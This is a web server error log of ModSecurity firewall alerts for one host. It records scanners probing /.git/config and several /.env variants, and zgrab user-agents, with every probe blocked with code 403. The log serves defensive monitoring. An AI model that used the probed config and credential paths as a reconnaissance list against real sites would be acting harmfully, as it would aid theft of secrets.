[Fri Oct 10 19:20:09.986181 2025] [:error] [pid 3376658] [client 45.148.10.246:48722] [client 45.148.10.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOlASQZFhxP150Yau5veAwAAAAQ&quot;]
[Sat Oct 11 00:32:50.159130 2025] [:error] [pid 3390476] [client 195.178.110.130:57868] [client 195.178.110.130] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOmJkiho41MNka6AJ9wXxwAAAAQ&quot;]
[Sat Oct 11 00:32:50.159379 2025] [:error] [pid 3390476] [client 195.178.110.130:57868] [client 195.178.110.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOmJkiho41MNka6AJ9wXxwAAAAQ&quot;]
[Sat Oct 11 00:32:50.159548 2025] [:error] [pid 3390476] [client 195.178.110.130:57868] [client 195.178.110.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOmJkiho41MNka6AJ9wXxwAAAAQ&quot;]
[Sun Oct 12 00:13:49.281030 2025] [:error] [pid 3414037] [client 45.55.45.178:49996] [client 45.55.45.178] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOrWnfTenxBX_WKaY0cJ0gAAAAE&quot;]
[Sun Oct 12 00:13:49.281348 2025] [:error] [pid 3414037] [client 45.55.45.178:49996] [client 45.55.45.178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOrWnfTenxBX_WKaY0cJ0gAAAAE&quot;]
[Sun Oct 12 00:13:49.281557 2025] [:error] [pid 3414037] [client 45.55.45.178:49996] [client 45.55.45.178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOrWnfTenxBX_WKaY0cJ0gAAAAE&quot;]
[Sat Oct 18 04:44:22.115503 2025] [:error] [pid 3566932] [client 45.148.10.244:51443] [client 45.148.10.244] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aPL_BrQ4P4D1Twv8kFHP_wAAAAE&quot;]
[Sat Oct 18 04:44:22.116691 2025] [:error] [pid 3566932] [client 45.148.10.244:51443] [client 45.148.10.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aPL_BrQ4P4D1Twv8kFHP_wAAAAE&quot;]
[Sat Oct 18 04:44:22.116869 2025] [:error] [pid 3566932] [client 45.148.10.244:51443] [client 45.148.10.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aPL_BrQ4P4D1Twv8kFHP_wAAAAE&quot;]
[Sun Oct 19 00:10:43.529280 2025] [:error] [pid 3590518] [client 3.138.185.30:60444] [client 3.138.185.30] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aPQQY9XJiuiLqks2a9WVZgAAAAA&quot;]
[Sun Oct 19 00:10:43.531857 2025] [:error] [pid 3590518] [client 3.138.185.30:60444] [client 3.138.185.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aPQQY9XJiuiLqks2a9WVZgAAAAA&quot;]
[Sun Oct 19 00:10:43.532051 2025] [:error] [pid 3590518] [client 3.138.185.30:60444] [client 3.138.185.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aPQQY9XJiuiLqks2a9WVZgAAAAA&quot;]
[Thu Oct 23 23:53:51.038763 2025] [:error] [pid 3694805] [client 18.224.192.118:44947] [client 18.224.192.118] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aPqj77rm0bm_aBQSXdxUjQAAAAc&quot;]
[Thu Oct 23 23:53:51.040037 2025] [:error] [pid 3694805] [client 18.224.192.118:44947] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aPqj77rm0bm_aBQSXdxUjQAAAAc&quot;]
[Thu Oct 23 23:53:51.040238 2025] [:error] [pid 3694805] [client 18.224.192.118:44947] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aPqj77rm0bm_aBQSXdxUjQAAAAc&quot;]
[Fri Oct 24 20:58:10.468440 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.468723 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.468892 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.544302 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.544551 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.544706 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.604101 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.604352 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.604579 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.653827 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.654069 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.654233 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbKwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.703052 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.703302 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.703469 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.746512 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:10.746767 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aPvMQqDAbBJ3ZgAeIEJbLQAAAAE&quot;], referer: https://www.google.com/
